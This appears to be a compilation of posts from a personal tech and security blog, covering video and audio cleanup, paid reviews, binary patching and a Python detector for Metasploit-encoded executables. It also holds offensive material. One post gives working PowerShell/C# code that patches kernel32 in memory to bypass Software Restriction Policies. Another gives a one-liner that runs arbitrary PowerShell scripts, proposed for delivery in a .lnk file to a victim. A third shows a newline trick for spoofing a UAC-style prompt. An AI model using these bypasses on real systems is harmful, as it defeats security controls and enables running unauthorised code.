Basic multi-media (post)processing

Having the best audio/video quality available when you publish media is very important. I’ve heard an theory (which sound logical – although that doesn’t automatically mean that it is true :-)) that if the voice quality is poor, you get more tired of listening to it, since your brain works harder during the interpretation phase (because it has to fill in the blanks).

Of course if you have a good source material, it goes a long way. But even if you don’t, you can do some post-processing to make the quality less-bad. In the following example I will use the recording for the talk Beer Hacking - Real World Examples by Scott Milliken and Erin Shelton as it was published by Irongeek. I don’t want to harp on Irongeek, since he has a great site with lots of useful resources, but this video was unwatchable. What are the problems which we’ll try to fix:

• very low audio volume
• background noise
• interlacing artifacts

The tools we will be using are cross-platform (meaning Windows, Linux and MacOS X), even though the screenshots are from a Windows machine:

• Avidemux (which I gave a short review some time ago). On Windows you can use VirtualDub which is an other similar tool (also free and open-source), but it is Windows specific. If you want to go with VirtualDub, you have to have the correct video codecs installed (I would recommend ffdshow)
• Audacity for audio editing
• The Levelator from The Conversation Network

First, we load up the video in Avidemux. The first we observe is that it has interlace artifacts (because it was probably ripped from a DVD which mainly targets interlaced display – ie. TV sets – as opposed to non-interlaced displays – ie. LCD screens). These are quite easy to fix, so we come back to them later.

The first thing we do is to export the audio, so that we can work on it separately. Go to Audio –> Encoder and select and select WAVE PCM. Then go to Audio –> Save and save it somewhere (this is uncompressed audio, so expect it to take up some disk space – ~900 MB in this case). Now we have to do two things: remove (or reduce) the noise and raise the volume. Usually I would recommend doing this in the order I just said (noise removal first and the raising the average volume) so that the second process doesn’t amplify also the volume, but in this case (because the initial volume is so low), we will have to do noise removal twice. Below you can see the waveform of the AVI file (notice the low level of the volume):

Sidenote: notice that the sample rate of the sound file is 48000 Hz (samples / sec). This again is most probably an artifact of the fact that it was ripped from a DVD. I usually find 44100 Hz stereo with 16 bits good enough and I am of the opinion that anything above that is not really noticeable. However we won’t change the sample rate in this case to avoid possible issues (like desynchronizing the audio and video).

To remove the noise, select a couple of seconds of silence (where you hear the background noise), go to Effect –> Noise removal and click on the “Get Noise Profile” button. Now press cancel. Then select the whole audio and go to the plugin again and press Ok. Notice that aggressive noise removal can lead to voices sound “metallic”. Use the preview button to strike a balance between the noise level and voice quality. I found values between 10 dB and 14 dB to be a good choice. Export the resulting file in WAV format.

Now it is time to use The Levelator. What is the levelator? It is a very easy to use program: it contains absolute no properties to “tune”. You just start it, drop your WAV file on it and wait for it to finish processing. However, in the background it contains some very nice algorithms which compress and normalize the the audio file. It is meant to work with an input containing voices from multiple persons (like a podcast or a panel) and raises them to the same level. We could have done what the Levelator does with Audacity, but it would have been a lot of work.

Here is how the audio looks like after normalization. As you can see the volume is much more uniform (without clipping anywhere!). The Levelator saves the output file in the same directory as the original one (so make sure that you have free space) with the suffix .output. You can do a second pass of noise removal (usually this is not needed, but since we had to amplify the audio very much, we also inevitably amplified some noise).

Now we put it all back together: go to Avidemux and select Audio –> Main track. Choose “External WAV” and specify the wave file you’ve exported from Audacity (after the second denoising). Press ok. Go to Audio –> Encoder and select MP3 (LAME). I would recommend to use the “Joint stereo mode” with a constant bitrate (CBR) of 64. “Joint stereo” means that the commonalities are encoded only once and for the two channels only the differences are kept. This greatly reduces the data volume (if the two channels are very similar – which they are in this case), thus resulting in improved quality at the same bitrate. I wouldn’t recommend going mono, since some players have weird issues playing back mono streams. The same is true for bitrates below 64 kbps and VBR / ABR modes.

Sidenote: using lossy compression (like MP3, XviD, H.264) repeatedly leads to degraded quality. When possible use lossless formats (like WAV or FLAC) during the processing phase and only render to a lossy format at the end.

For the video part: for the encoder select MPEG-4 AVC (x264). Use the filters button and add a deinterlace filter (I used yadif). Now use the calculator to find out the bitrate you need to set for a particular filesize. For example a bitrate of 800 kbps resulted in a ~548 MB file (you need to consider also the audio part when estimating the final filesize – this is why it is easier to use the calculator).

Now configure the encoder. I would recommend the “Two pass – average bitrate” mode. This means that the encoder does two rounds: first it estimates the “compresseability” of each frame, and on the second pass it does the compressing. This mode results in better quality and better approximation of the desired file size at the expense of doubling the encoding time (even so, it was done in less than a hour on a Core 2 Duo @ 2.39 GHz). When all the parameters are set, go to File –> Save –> Save Video to render the result.

Hopefully this tutorial will help people in producing better quality media. If you have questions, please leave them as comments and I will try to answer as fast and as best as I can. I’m not a multimedia guru, but I play around a lot with these tools.

Update: below is the resulting video. You can compare it to the original.

Sunbelt Software VIPRE Antivirus review

Full disclosure: for several years I worked in the AV industry for a company which can be considered a competitor to Sunbelt Software. However I don't any more.

Sunbelt Software started out as an anti-spyware company, however a few years ago they re-oriented themselves towards the more general anti-malware market, which is a really nice move (in my opinion) because anti-spyware products have a vague definition. Since then they launched their VIPRE Antivirus Software product which I briefly tested.

What I liked:

• The cool logo :-)
• It works perfectly with Windows 7, even though the site mentions only Windows XP / Vista
• The installation is very quick, there aren’t many options to tweak which could confuse less tech-savvy users
• Both the EICAR test file and a malware sample were correctly recognized by the on-access scanner (of course I can’t say what the general detection rate of the product is, since I don’t currently have access to a larger malware collection)
• On a full scan cookies were detected as an issue (a pet peeve of mine – I consider that such detections are not really relevant and only frighten users), but they are classified (correctly!) as low risk and there is a very objective, factual and “calm” description about the issue when you ask for more details

What I didn’t like:

• To download the setup, you have to give your email address and the download link is emailed to you. The problem is (besides the obvious privacy concern) is that the email can take a while to get to your inbox (it might even get lost or land in the junk folder). To work around this, download it from softpedia (or from download.com), and install it without a serial (it is still good for 15 days). Later, when the link arrives, you can “activate” the product with the serial.
• The setup workflow is not fully consistent. While the setup itself was quick and painless, after the reboot I had some difficulties: clicking on the update icon didn’t do anything, I had to right-click and select update explicitly. Then I started the main interface which wanted to update the signatures again (???) and it downloaded / updated them again, even though there were no newer signatures available...
• In the “process manager” component all processes (even Microsoft processes) were categorized as “unknown”. This could frighten less experienced users. At least the executables with valid digital signatures should be categorized as “trusted”...
• When showing the details of the alert, it first displays the details of the “parent” process (ie. process X tried to start process Y), which can be a little confusing if X is trusted (for example Windows Explorer, Internet Explorer, etc), because the first phrase that catches your eye is “known clean”, which raises the question “so why is it detected?”. Of course closer examination of the text makes the context clear, but first impressions are important
• Multiple alerts can appear for the same file. Fortunately there is a “don’t show this to me again” checkbox, which works well.

So the final question: would I recommend buying it? Unfortunately (and I say unfortunately, because they seem like a good company) no. For home users I would still recommend AVG (since it is free), while for businesses I would wait until a test from AV-Tests / AV-Comparatives / other reputable testing organizations comes out to be assured that it has a detection rate comparable to the other vendors.

Full disclosure: this is a paid review from ReviewMe. Under the terms of the understanding I was not obligated to skew my viewpoint in any way (ie. only post positive facts).

Patching lcc-win32 so that it runs under Windows 2000

lcc-win32 is a small C (not C++!) for Windows, which comes with a simple editor/IDE. It is free for non-commercial use and is small and quick to install. Unfortunately it wouldn’t start on a fully patched Windows 2000 SP4 box, even though the homepage explicitly mentions Windows 2000 as supported. The problem was that my system, for whatever reason, had an older version of SHELL32.DLL, which didn’t contain/export a required method. So I patched the executable and redirected the given import to an other import (ie. the loader would use a different import) and NOP-ed out the code which used the given import (fortunately it was used only in a single location, which wasn’t critical). Below you can see a video of the process:

The error message:

wedit.exe - Entry Point Not Found

The procedure entry point SHGetFolderPathAndSubDirW could not be located in the dynamic link library SHELL32.DLL

Tools used:

• IDA Pro 4.9 freeware
• HxD - Freeware Hex Editor and Disk Editor
• BB FlashBack – to record the process

Here is the script which is shown in the background:

• Patching lcc-win32 so that it runs under Windows 2000
• We try to run the editor and we see that it (in fact the windows loader) errors out saying that it can't find a given export in SHELL32.DLL
• Bonus tip: you can copy the contents of a message box by pressing Ctrl+C when given focus.
• Ok, we open up the executable in IDA to asses the situation (we already generated the idb file to speed up the demo)
• Using cross-references we see that it is only used in one place, and even that doesn't seem crucial.
• So we edit the IAT of wedit.exe so that it imports an other function instead of the original one (so that it loads).
• For safety we NOP out the call code. We must NOP out the pushing of the parameters and the call to keep the stack in sync.
• Finally we test that everything works.
• Thank you for your attention!

So you see, things can be fixed, even when you don’t have access to the source code, but it is nicer (and less complicated) when you do. Hopefully this will help somebody out :-)

Perlmonks passwords compromised

Just on the off-chance that you read this blog, have a Perlmonks account and haven't heard already (even though notification emails have been sent AFAIK):

The perlmonks server has compromised and the entire user database was accessible to the attacker. What is even worse, the passwords were in cleartext (so they are directly accessible without any additional processing/cracking)! Go change your passwords now!

See more details here and here

Detecting the Metasploit encryptors in one hour and 49 lines of Python

I’ve seen a lot of blogpostings lately which proclaim that Metasploit payloads encrypted with one of the available encryptors and written into an executable file are somewhat “magically” capable of bypassing AV software (these posts usually contain a couple of VirusTotal links to demonstrate the point). The main scenario considered (from what I gather) is the following: you prepare a connect-back shell and then you convince the target of your penttest to run it (you email it to them, you put it on an USB stick, etc) and you get access to their machine. The AV aspect comes into the picture when you consider that the target has such software running on their system.

So I said: detecting it can’t be that hard! And generated all the combination of payloads and encoders (plus some triple encoded ones – since this also seems to be considered “a better way” to hide the payloads) and written up the following python script using pefile and pydasm:

import pefile, pydasm
import sys, glob, operator, re

def countFInstr(buffer):
  offset = 0
  fpoint = 0
  rx = re.compile("0x[0-9a-f]+")
  while offset < len(buffer): 
    i = pydasm.get_instruction(buffer[offset:], pydasm.MODE_32) 
    instr = pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, 0)
    if (instr and rx.search(instr)): fpoint += 1
    if not i:
      offset += 1
    else:
      offset += i.length
  return fpoint

def scan(filename):
  try:
    pe = pefile.PE(filename, fast_load=True)
  except pefile.PEFormatError:
    return False
  execSectionSize = 0
  foundRWXSection = False
  rw = 0x40000000 | 0x80000000L
  for section in pe.sections:
    if (0 == section.Characteristics & 0x20000000): continue
    execSectionSize += section.SizeOfRawData
    if (rw == section.Characteristics & rw):
      # print section.Name
      buffer = section.get_data(section.VirtualAddress, 128) 
      # for c in buffer: print "%#x" % ord(c),
      # print ""
      # print countFInstr(buffer)
      if (countFInstr(buffer) < 16): return False
      if (len(buffer) < 128): return False
      foundRWXSection = True
  if (not foundRWXSection): return False
  if (execSectionSize > 4096): return False
  return True

sys.argv = reduce(operator.add, map(glob.glob, sys.argv))

for filename in sys.argv[1:]:
  print filename, " ",
  if scan(filename):
    print "Metasploit!"
  else:
    print "-"

It has a detection rate of 100% and a false positive rate of 0% (although I didn’t have access to executable files packed with more “exotic” packers which would have given me a more accurate FP rate – even so I consider that the detection method is not really prone to false positives).

So how does it work? What does it take for it to say “Metasploit”?

• The executable must have at least one section marked with Read/Write/Execute (typical for packers)
• The beginning of the given section (the first 128 bytes) must contain at least 16 instructions with hardcoded constants (immediate instructions)
• The total number of raw data loaded into executable sections must be less than 4k

But wait! – you might say – you are not detecting the actual payload! You are detecting some particular characteristics of the file which are relatively easy to change! And my reply is: correct. But discussion about the “correct” way of doing things is a philosophical one as long as the presented solution has a low FN/FP rate and is efficient. You might get into an argument about how “future proof” it is, but then again, most AV products are black-boxes and it wouldn’t be so straight forward to find the particular detection algorithm and then circumvent it.

An other thing I remarked is that the given code doesn’t try to defend against emulators (for example by doing multiple loops, calling different windows API’s, etc). While the code is sufficiently complicate to create a problem for IDS’s, AV software which has emulation capability (and almost all of the “big guys” and even many of the smaller guys do) will go trough the decryptor like a hot knife trough butter.

So why then doesn’t AV detect these executables? Because they occur in very low numbers, and unfortunately today AV is a numbers game.

Please, the next time you p0wn the client with a metasploit-payload-executable, don’t say “AV is worthless”. Rather say: “this demonstrates what an undetected malware can do, so you should use multiple layers of defense”.

Picture taken from fazen's photostream with permission.

delicious/cdman83

Windows Kernel-Mode Programming Posted: 29 Jul 2009 11:04 AM PDT Very interesting notes about different parts of the windows kernel-mode.

Web Host Reviews: Find a Diamond in the Rough • Perishable Press Posted: 29 Jul 2009 02:45 AM PDT Interesting hosting companies. Some offer "unlimited" bandwidth, which makes me suspicious...

Disclosure (1994) Posted: 29 Jul 2009 02:37 AM PDT

Down for everyone or just me? Posted: 28 Jul 2009 09:56 PM PDT

Princeton University: WebMedia Posted: 27 Jul 2009 11:21 PM PDT Video lecture of John Conway (the Game of Life guy) about free will. Via The Old New Thing http://blogs.msdn.com/oldnewthing/archive/2009/07/27/9849504.aspx

Selling my soul^H^H^H^H pagerank

As you might have seen, I've published two reviews on my blog for various companies. These reviews were paid for by the respective companies trough ReviewMe. It seems like a good way to make a couple of bucks and it was recommended by a fellow blogger. What I like about their policy is that (a) I get to pick and choose the topics I write about (from the companies which wish to be present on my blog of course) and (b) I am not obligated to write a positive review.

Of course there is no reason for these reviews to appear in the feed, since the probability that they would be relevant for my core readership is low. So effective immediately, using the magic of Yahoo Pipes and Feedburner, these posts won't appear in the feed. Yet an other reason to subscribe to the feed.

PS. I will always disclose possible conflicts of interests (like being compensated) in the given blogposts, so if you don't see any disclaimer on a given post, it means that there is no conflict of interest there.

glassesshop.com review

As a snake-eye myself (this is a translation to the usual nickname given to children who wear glasses in Hungarian), I can certainly appreciate the need for an eye-glass which is right for you. They offer both normal glasses and Stylish Prescription Sunglasses. All you have to do is to complete a form with the data from your prescription. The company seems to have been around for some time (since 2005 based on the original domain registration) and I couldn't find any complaints about them on the Web. They also take part in the McAfee Secure program, which doesn't prove that their site is safe, but it does prove that they think about the issue.

On the site you will also find eye care tips and the possibility to virtually try on the glasses. The advice they are giving seems only a little hyped. So the big question: would I buy from them?

The answer is: maybe. In my experience finding the right glasses is only half of the problem. They also have to be fitted to the shape of your head (the nose and ears), or they won't be comfortable to wear. I've also been told by an ophthalmologist that wearing sunglasses all the time is not a good idea, since it reduces the eyes ability to adjust to the lighting conditions (for the pupils to expand / contract). The way I could imagine it is ordering online and after it arrives, going to the local optician and having it fitter properly (plus, to measure it, to make sure that it corresponds to the required parameters - I've had glasses done improperly in the past, and it is a very unpleasant, and possibly damaging experience). I'm not implying that this company would do it wrong, but we are all humans and it is better to be safe than sorry when talking about your eye sight.

Full disclosure: this is a paid review from ReviewMe. Under the terms of the understanding I was not obligated to skew my viewpoint in any way (ie. only post positive facts).

flashdealer.com review

FlashDealer.com offers personalized technology items for a low price. And they are not limited to plastic either! You can choose from wood, leather, aluminium and so on. You can even have USB sticks in all kind of funny shapes.

Personalized USB Drive is a great gift for the geek in your life, but it will be appreciated by non-geeks also. And if you think that they won't find a use for it (even for the ones which look like bracelets :-)), you can always go with an MP3 player.

After doing some due-diligence (like searching around for complaints related to the company and looking since when they are in operation, they seem to be a good source to order these gadgets from. One word of caution though: they offer multiple brands of flash drives for customization. I would recommend choosing a more well-know brand, rather than going with the cheapest option. I'm saying this because I saw that one type of MP3 player they offer for sale is very similar to Canyon one I bought many years ago when I was still a student (because back than it was the cheapest option). It had problems from the start (like the previous-next rocker switch not working properly) and it didn't last more than a year (not that all Canyon products are necessarily unreliable - since then I've had two Canyon routers - one wired and one wireless - and both work perfectly to this day). The moral of the story is that you should go with well-known brands to avoid the hassle.

Finally, if you do decide to buy a USB storage device (either for yourself or as a gift), make sure that you "vaccinate" it against autorun worms and read up on the encryption options available for USB drives, since (due to their small size and mobility) they are in constant danger of being lost with all the data on them.

Full disclosure: this is a paid review from ReviewMe. Under the terms of the understanding I was not obligated to skew my viewpoint in any way (ie. only post positive facts).

delicious/cdman83

FIRE: FInding RoguE Networks Posted: 27 Jul 2009 06:12 AM PDT An interesting list of malicious hosts by ASN / IP / Country. I'm not entirely sure what the criterion for inclusion is though - maybe based on Anubis?)

YouTube - teamcymru's Channel Posted: 27 Jul 2009 05:43 AM PDT Useful, short and informative videos about IT security topics. Via http://blog.isc2.org/isc2_blog/2009/07/videos-from-team-cymru.html

PolyPack: An Automated Online Packing Service for Optimal Antivirus Evasion Posted: 26 Jul 2009 10:51 AM PDT Packs files with different packers and scans them with different AV engines. Interesting, but not really surprising.

Screengrab - a Firefox extension to capture webpages Posted: 26 Jul 2009 02:22 AM PDT From http://absoblogginlutely.net/2009/07/dd-wrt-upgraded/

New Ethical Hacker challenge

From the guys at RaDaJo: Prison Break - Breaking, Entering and Decoding. It looks interesting (and more accessible than the wireless one, which was a little out of league for me).

Have fun!

Social engineering malware – part deux

Some time ago I written about that that information given by the UAC prompt in Windows (Vista and 7) is insufficient to make the correct decision, even if we would suppose (ad absurdum) that the user knew what s/he was doing. Symantec has a research project which can be used to replace the standard UAC prompt and is supposed to give more information. However, you can still produce a very convincing dialog:

As you can see, the executable is signed by Microsoft and it is in a “protected” directory. So what’s the catch? Well, the catch is that the command line actually looks like this:

c:\\windows\\system32\\cmd.exe

... 1000 instances of newline ...

-c notepad.exe

Of course instead of notepad.exe we could have used me_evil_program.exe. There is no visual indication of the fact that there is more information available in the textbox. In fact, the disabled scrollbars (when there is no more information available) and the active scrollbars (for the case at hand) look visually identical until you mouse over them.

So what does this mean? Prompting the user is the worst thing you can do, because it is very hard for a s/he to distinguish between information from different sources and ascertain which one can be trusted and which one can’t (an other classical example is a webpages which display the SSL lock in the webpage, yet users still think that it is as trustworthy as displaying it in the browser chrome).

Teaser: in an upcoming post I will be discussing how the concessions made by Microsoft in Windows 7 to the “UAC is annoying” crowd makes the default accounts on it virtually no more secure than the default administrator accounts created created by Windows XP during installation (hint).

No codec packs please!

A recent posting by fellow blogger Claus reminded me of a frequent problem I see on computers I’m called to for “fixing”: codec packs (like K-Lite, CCCP, etc). They are usually installed so that the computer can play back all the video formats which can be found out there. All fine and dandy, right? Wrong! These codec packs have several issues:

• They make your system less stable. Especially Windows Explorer, which loads all the codecs into memory so that it can generate thumbnails of the video files, can become quite unstable.
• They make your system slower, by filling it with a bunch of codecs which you most likely won’t ever need! (and some of the codecs contain all kind of “utility” parts which clutter the tray)
• They may contain bits of questionable legality! What these packs do essentially is to take out the relevant dll / inf files from the original installation kit of the codec and bundle them into one setup. However, it is quite frequent for these setup programs to contain an EULA which forbids exactly this behavior (distributing part of the program separately)

So what is my recommendation? In fact, I have two alternative solutions (both of them open source and free):

• Use VLC. While the GUI can be a little confusing (although they improved it quite a little bit lately), it can play back almost anything under the sun.
• Use ffdshow tryouts. It is a codec (based partially on the same library as VLC – ffmpeg) which can decode a lot of formats. It works with all the players using DirectShow filters (like Windows Media Player, Winamp, etc) and contains other useful features (like normalizing the volume, postprocessing the video, overlaying the subtitles, etc)

While I realize that my ranting here won’t change the behavior of people overnight, hopefully it can add a little signal to the noise out there. No more code packs please!

Picture taken from Terretta's photostream with permission.

A wild party :-)

Why can’t I see the stacktrace under Java?

I recently had a situation where Log4j wasn’t outputting the stacktrace of the logged exceptions. While I’m not sure that the following is the actual explanation, it seems very plausible (since the program was running Java 5). Quote from the Java 5 release notes:

The compiler in the server VM now provides correct stack backtraces for all "cold" built-in exceptions. For performance purposes, when such an exception is thrown a few times, the method may be recompiled. After recompilation, the compiler may choose a faster tactic using preallocated exceptions that do not provide a stack trace. To disable completely the use of preallocated exceptions, use this new flag: -XX:-OmitStackTraceInFastThrow

(Credit goes to Stackoverflow.com for pointing me in the right direction). Small rant here: I do realize that all the guys and gals working on the Hotspot VM are exceptionally smart and there is some incredibly wicked cool technology in it (just one example: the code is instrumented using the performance counters from the CPU – so there is virtually no performance impact – and if it observed that too many jumps are taken, the code is re-JIT-ed using the opposite jump direction. If you are interested in the topic, just take a listen to episode #174 of the JavaPosse). Still, don’t mess with our exceptions! They are called such, because they are exceptional. If some programmer is using throwing exceptions as a control structure at every second statement, it is his or her problem! But for the rest of us, please don’t optimize away our stacktraces, since debugging complex multi-threaded applications is hard-enough even when you know where exactly the exception occurred!

Picture taken from Wonderlane's photostream with permission/

Pulling a Hanselman

User interface / interaction design 101: if you want something, the least you can do is to ask for it. So I decided to take a page out of Scot Hanselman’s book (a blog worth reading BTW if you are interested in programming – it has an emphasis on Microsoft specific technologies, but other topics are also mentioned quite frequently) and created a “banner” which is shown to the visitors the first time they arrive at the site (or every time if they use incognito mode :-)).

So, if you like my ramblings, please subscribe. If you don’t, leave a comment and subscribe :-).

delicious/cdman83

OverTheWire - Wargames Posted: 19 Jul 2009 07:16 AM PDT

Calabrese’s Razor « Righteous IT Posted: 19 Jul 2009 05:48 AM PDT

The Windows NT Registry File Format Posted: 19 Jul 2009 05:35 AM PDT

TMDBC: Extending the Java compiler to handle SQL " Thormick's Tech Blog Posted: 19 Jul 2009 02:40 AM PDT Checking the SQL syntax in Java at compile time using attributes. Very neat idea. Via http://petereisentraut.blogspot.com/2009/07/how-can-i-get-compiler-to-check-my-sql.html

Book review: The IDA PRO Book

Recently I’ve had the pleasure of reading trough “The IDA PRO Book: The Unofficial Guide to the World's Most Popular Disassembler”. It is a well written book and definitely a “should read” for anyone working with IDA.

The book is structured into 26 chapters which cover every aspect of IDA, no matter how exotic :-). A word of caution: this book isn’t an “introduction into reverse engineering”. A prerequisite to reading it is at least some basic knowledge of the PC and the OS (things like CPU registers, memory addressing, paging, etc). For obvious reasons (like size limit – the book is already 500+ pages long) it is presumed that the reader posses this knowledge.

The chapters are well structured and can be read in a maximum of two hours by my estimation, so you could read trough the whole book in a month easily by looking at one chapter a day.

A very large percentage of what is described can be directly applied to the freeware version (4.9), and even more, the book contains a separate appendix listing the differences between the version covered in the book (5.2) and the freeware version (4.9).

An other positive aspect of the book are the warnings inserted in the correct places (when it talks about debugging malware for example), which is very important to avoid unpleasant surprises (like infecting the local network, having to rebuild your machine to ensure that it is not infected, etc).

I have very few negative things to say about the book and all of them are a matter of taste/personal preference. For example I feel that too little emphasis was put on the usage of shortcut keys and everything was presented by using the menus. Then again, shortcut keys can change from installation to installation, but the menus are always in the same place and you can easily find out the associated shortcut key. An other quibble of mine would be the usage of IDC (the built-in scripting language) despite of the existence of much better options like IDAPython (the difference between the two beeing – IMHO – wanting to kill yourself and enjoying your work IMHO :-)). Then again, IDC is directly available upon installation, while IDAPython (and its brethren) need to be installed separately (which can be difficult, especially if you are not running Windows).

So, should you buy this book? If you already have (some) RE knowledge and plan on using IDA (even if only the free version), the answer is a resounding yes. It will give you a big productivity boost, so it is definitely worth its price. Also, how can you go wrong if Ilfak say: “I wholeheartedly recommend The IDA Pro Book to all IDA Pro users” and displays it on his blog :-).

Full disclosure: the links provided contain my Amazon affiliate id so that I can give you more and more useful reviews (or at least buy myself some quality black tea :-)).

PS. You can find a sample chapter and further material on the site of the book.

Intelligent blog-spam?

Not long ago I received a very on-topic comment on my Weird RVRD issue explained. I started to research it, and even formulate an answer. However, I was somewhat suspicious because of the asymmetry between the username ("web development Dubai") and the question (which was anything but web development related). So I did a little searching around and it turns out that they copied the question from an ITToolbox topic.

It is surprising to what kind of effort spammers go to get their links. I would also be curious to know if they used automatic or manual methods to come up with the comment text...

PS. A word of caution to my fellow bloggers: if the poster's URL looks suspicious, but the text of the comment/question seems legitimate, try doing a search on it, to see if it was lifted from an other site.

delicious/cdman83

Hacking CSRF Tokens using CSS History Hack Posted: 17 Jul 2009 11:56 PM PDT Ok, this is way cool! Bruteforcing the CSRF token from the URL on the client side and using the CSS history hack to check if we got it right! Very, very cool combination of existing ideas!

HijackThis Logfileauswertung Posted: 17 Jul 2009 11:40 PM PDT HijackThis logfile analisys. Alternatives: http://www.hollmen.dk/ (a separate program in the download section - HijackReader) http://www.prevx.com/hijackthis.asp (this seems to have gone offline) http://www.help2go.com/Tutorials/Protect_Your_PC/Help2Go_Detective.html http://hjt.networktechs.com/

The Prestige (2006) Posted: 16 Jul 2009 09:50 PM PDT

CleanMX Realtime Stats Posted: 16 Jul 2009 12:21 PM PDT Cool, free, publicly accessible statistics about malicious URLs. Found it via http://hphosts.blogspot.com/2009/07/huge-addition-again.html ( also, check out http://support.clean-mx.de/clean-mx/virusesstats )

Forfiles Posted: 17 Jul 2009 03:46 AM PDT Forfiles - just like xargs :-) Via http://delicious.com/absoblogginlutely#2009-07-16

A must see southpark video

Via ZeroHedge. Usually I find Southpark videos a little too preachy / childish, but this too funny. You can watch the full episode here.

After it you can enjoy some Pink Floyd :-)

Bypassing SRP from PowerShell

When discussing with a reader of mine, I mentioned that the same method (patching the local process) should be possible using PowerShell. And here is the code:

#########################################################
#  This is a general purpose routine that I put into a file called
#   LibraryCodeGen.msh and then dot-source when I need it.
#########################################################
function Compile-Csharp ([string] $code, $FrameworkVersion="v2.0.50727", [Array]$References)
{
    #
    # Get an instance of the CSharp code provider
    #
    $cp = new-object Microsoft.CSharp.CSharpCodeProvider

    #
    # Build up a compiler params object...
    $framework = Join-Path $env:windir "Microsoft.NET\Framework\$FrameWorkVersion"
    $refs = new-object Collections.ArrayList
    $refs.AddRange( @("${framework}\System.dll",
        "${framework}\system.windows.forms.dll",
        "${framework}\System.data.dll",
        "${framework}\System.Drawing.dll",
        "${framework}\System.Xml.dll"))
    if ($references.Count -ge 1)
    {
        $refs.AddRange($References)
    }

    $cpar = New-Object System.CodeDom.Compiler.CompilerParameters
    $cpar.GenerateInMemory = $true
    $cpar.CompilerOptions = "-unsafe"    
    $cpar.GenerateExecutable = $false
    $cpar.OutputAssembly = "custom"
    $cpar.ReferencedAssemblies.AddRange($refs)
    $cr = $cp.CompileAssemblyFromSource($cpar, $code)

    if ( $cr.Errors.Count)
    {
        $codeLines = $code.Split("`n");
        foreach ($ce in $cr.Errors)
        {
            write-host "Error: $($codeLines[$($ce.Line - 1)])"
            $ce |out-default
        }
        Throw "INVALID DATA: Errors encountered while compiling code"
    }
}

###########################################################################
#  Here I leverage one of my favorite features (here-strings) to define
# the C# code I want to run.  Remember - if you use single quotes - the
# string is taken literally but if you use double-quotes, we'll do variable
# expansion.  This can be VERY useful.
###########################################################################
$code = @'
using System;
using System.Runtime.InteropServices;

namespace test
{
    public class Testclass
    {
        public enum Protection
        {
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_GUARD = 0x100,
            PAGE_NOCACHE = 0x200,
            PAGE_WRITECOMBINE = 0x400
        }

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(uint lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll")]
        public static extern uint GetModuleHandle(string lpModuleName);

        public static void Patch()
        {
            uint addr = GetModuleHandle("kernel32.dll") + 0x55FD7;
            byte[] expected = new byte[] {0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x84, 0x02, 0x00, 0x00};
            unsafe
            {
                byte* mem = (byte*)addr;
                for (int i = 0; i < expected.Length; ++i)
                {
                    if (mem[i] != expected[i])
                    {
                        System.Console.WriteLine("Expected bytes not found!");
                        return;
                    }
                }

	            uint oldProtect;                
                VirtualProtect(addr, 11, (uint)Protection.PAGE_EXECUTE_WRITECOPY, out oldProtect);
                byte[] patch = new byte[] {0xB8, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x0C, 0x00, 0x90, 0x90, 0x90};
                for (int i = 0; i < patch.Length; ++i) mem[i] = patch[i];
                VirtualProtect(addr, 11, oldProtect,  out oldProtect);
            }
        }
    }
}
'@

##################################################################
# So now we compile the code and use .NET object access to run it.
##################################################################
compile-CSharp $code
[Test.TestClass]::Patch()

After executing this script, you can run any executable, even if it would have been restricted by the SRP. Some mentions:

• It is technically written in C#, which is dynamically compiled (the code to do it is taken from here, with a modification from here to allow compiling of unsafe code)
• The offsets and bytes are for Windows 7 build 7100, so it most probably won’t work with other versions of Windows (and it is possible that it won’t work with other builds), however it is trivial to port it to other versions
• Because Windows 7 (like Vista) changes the loading address at each reboot (ASLR), the actual patch address needs to be calculated relative to the base address of kernel32 (obtained via GetModuleHandle)

Picture taken from permanently scatterbrained's photostream with permission.

Executing arbitrary powershell script from the command line

After playing around with PowerShell, I quickly found that there seem to have been given a considerable amount of thought to the security aspect of it. Two security features which I found were:

• The default action for powershell scripts (.ps1) is “Edit”, not “Run”. This means that plain powershell scripts can’t create the same amount of havoc as VBS scripts did (by enticing users to double-click them)
• Again, by default, scripts must be signed to be run! Otherwise you get a nice error message: “File X cannot be loaded because the execution of scripts is disabled on this system. Please see "get-help about_signing" for more details.” It is great that the default config is secure (even though it is probable that many admins will change the default policy, at least the all the home users will be protected)

So, how can you invoke powershell from the command line and make it execute an arbitrary script? Very easily:

powershell "get-content -path runme.ps1|invoke-expression"

How this works: powershell evaluates the expression given at the command line. This expression in turn loads the content of the target file and then passes it on to PS’s version of eval. How can this be used for malicious purposes: including the command line inside of a .lnk file and sending that to the victim (a behavior which has been used in the past).

Conclusion: it is good to see that Microsoft is considering security, but then again it is very hard (if not impossible) to make something secure such that it is still usable.

Picture taken from fontplaydotcom's photostream with permission.

Review: Polymorphic Podcast

The Polymorphic Podcast is programming related podcast (think polymorphism as in object inheritance) which is somewhat Microsoft centric (.NET, Visual Studio, Silverlight, etc). That doesn’t mean however that there aren’t other technologies. For example the latest version talks about jQuery and managed to surprise me, with the mention of LiveQuery and SelectorGadget. An other interesting feature of this podcast is that the author (Craig Shoemaker) offers a “fast version”, which is the podcast sped up by a factor of 1.5 for those who have little free time.

One characteristic of the interview style of the author which I find slightly irritating is the heavy editing. Particularly he regularly introduces long-ish comments relating his opinion about the given issue. I would prefer that he rather do it live, so that the guest has a chance to react to it. But this is just a personal opinion.

My recommendation would be: the podcast is professionally produced, so give it a listen, especially if you are interested in the MS/.NET universe. Even if you are not, you might find an occasional episode which scratches your itch and you can just disregards the episodes which don’t interest you.

Picture taken from nikkicookiebaker's photostream with permission.

Review: Viruses Revealed

This book should be a must read for anyone thinking about malware and anti-malware (including – or especially – all the people in the media!). It is a hype-free, no-nonsense book, which doesn’t shy away from writing the truth.

